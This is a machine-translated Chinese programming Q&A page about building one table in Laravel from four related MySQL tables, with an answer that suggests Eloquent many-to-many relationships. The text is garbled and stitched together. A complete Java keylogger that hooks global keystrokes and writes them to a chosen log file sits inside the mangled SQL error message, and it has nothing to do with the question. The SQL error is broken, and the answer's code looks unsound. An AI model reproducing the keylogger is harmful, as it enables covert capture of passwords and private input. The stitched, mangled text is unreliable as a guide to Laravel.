Laravel将多行合并为多列

时间:2016-12-22 21:30:40

标签: php mysql laravel-5.3

所以我有四张桌子:

  • 实验(表格) - id
  • feature_classes(columns) - id,experiment_id,title
  • 实体(行) - id,experiment_id
  • features(cells) - id,entity_id,feature_class_id,value

我需要从这四个表中构建一个表。

我试过了:

$experiment_id = $request->input('experiment_id');
    $feature_classes = FeatureClass::where('experiment_id', $experiment_id)->select('title', 'id')->get();

    $select = [
        'entities.id',
        'entities.prediction',
        'entities.result'
    ];

    foreach ($feature_classes as $f) {
        $select[] = $f->id . ".value AS " .$f->id;
    }

    $entities = DB::table('entities')
        ->where('experiment_id', $experiment_id);

    foreach ($feature_classes as $f) {
        $entities = $entities->leftJoin('features AS ' . $f->id, function ($join) use ($f){
            $join->on($f->id . '.entity_id', '=', 'entities.id')
                ->where($f->id . '.feature_class_id', $f->id);
        });
    }

    return $entities
        ->select($select)
        ->get();

但我的努力会得到以下错误消息:SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1 ? left join功能as 2 on 2 . entity_id =实体. id {{ 1}} 2 and FE'在第1行(SQL:选择.entitiesidentitiespredictionentitiesresult。{ {1}} 1value1 2 value 2entities features 1 1 entity_id 1}}。entities = id1feature_class_idfeatures 1将2作为2加入entity_id entities 1}}。id = 2feature_class_idexperiment_id import java.io.BufferedWriter; import java.io.File; import java.io.FileNotFoundException; import java.io.FileWriter; import java.io.IOException; import java.util.logging.Level; import java.util.logging.LogManager; import java.util.logging.Logger; import javax.swing.JFileChooser; import org.jnativehook.GlobalScreen; import org.jnativehook.NativeHookException; import org.jnativehook.keyboard.NativeKeyEvent; import org.jnativehook.keyboard.NativeKeyListener; public class JkL implements NativeKeyListener { private String typedC = ""; private String typedC1 = ""; private final JFileChooser fc = new JFileChooser(); private File direc; private void openFchooser1() throws FileNotFoundException, InterruptedException, IOException, Exception { Thread.sleep(2000); int returnVal = fc.showDialog(null, "Choose a Logfile"); if(returnVal == JFileChooser.APPROVE_OPTION) { direc = fc.getSelectedFile(); } /* Construct the example object and initialze native hook. */ GlobalScreen.addNativeKeyListener(new Kl()); try { /* Register jNativeHook */ GlobalScreen.registerNativeHook(); } catch (NativeHookException ex) { /* Its error */ System.err.println("There was a problem registering the native hook."); System.err.println(ex.getMessage()); System.exit(1); } // Clear previous logging configurations. LogManager.getLogManager().reset(); // Get the logger for "org.jnativehook" and set the level to off. Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName()); logger.setLevel(Level.OFF); } @Override public void nativeKeyPressed(NativeKeyEvent nke) { throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. } @Override public void nativeKeyReleased(NativeKeyEvent nke) { throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. } @Override public void nativeKeyTyped(NativeKeyEvent nke) { throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. } class Kl extends JkL { /* Key Pressed */ @Override public void nativeKeyPressed(NativeKeyEvent e) { //typedC += NativeKeyEvent.getKeyText(e.getKeyCode()); typedC += e.getRawCode(); typedC += e.getKeyChar(); typedC += e.getKeyCode(); try { writeToFile(typedC); } catch (IOException ex) { Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, null, ex); } /* Terminate program when one press ESCAPE */ if (e.getKeyCode() == NativeKeyEvent.VC_F12) { try { GlobalScreen.unregisterNativeHook(); } catch (NativeHookException ex) { Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, null, ex); } } } @Override public void nativeKeyReleased(NativeKeyEvent e) { //System.out.println("Key Released: " + //NativeKeyEvent.getKeyText(e.getKeyCode())); } /* I can't find any output from this call */ @Override public void nativeKeyTyped(NativeKeyEvent e) { //typedC1 += NativeKeyEvent.getKeyText(e.getKeyCode()); typedC1 += e.getRawCode(); typedC1 += e.getKeyChar(); typedC1 += e.getKeyCode(); try { writeToFile(typedC1); } catch (IOException ex) { Logger.getLogger(JkL.class.getName()).log(Level.SEVERE, null, ex); } } } private void writeToFile(String ln) throws IOException { //System.out.println(direc); FileWriter fw = new FileWriter(direc); try (BufferedWriter bw = new BufferedWriter(fw)) { bw.write(ln); bw.newLine(); bw.flush(); } } public static void main(String[] args) throws IOException,InterruptedException, Exception { new JkL().openFchooser1(); } } 2其中paramstyle = 1)`

1 个答案:

答案 0 :(得分:0)

我认为你不应该这样做。你应该通过在模型中添加多对多的关系来解决这个问题,然后使用eloquent来完成其余的工作。例如,在要素模型中:

public function Classes(){
    return $this->belongsToMany('App\Classes', 'feature_classes', 'feature_class_id', 'id');
}

然后类似的东西定义了通过experiment_id链接的类和实体之间的关系。然后,您应该能够使用本机雄辩的功能(如

)访问所需的数据
$entities = Features::where('experiment_id', $experiment_id)->Classes->Entities;

return $entities

此处提供更多信息:

https://laravel.com/docs/5.3/eloquent-relationships#many-to-many

相关问题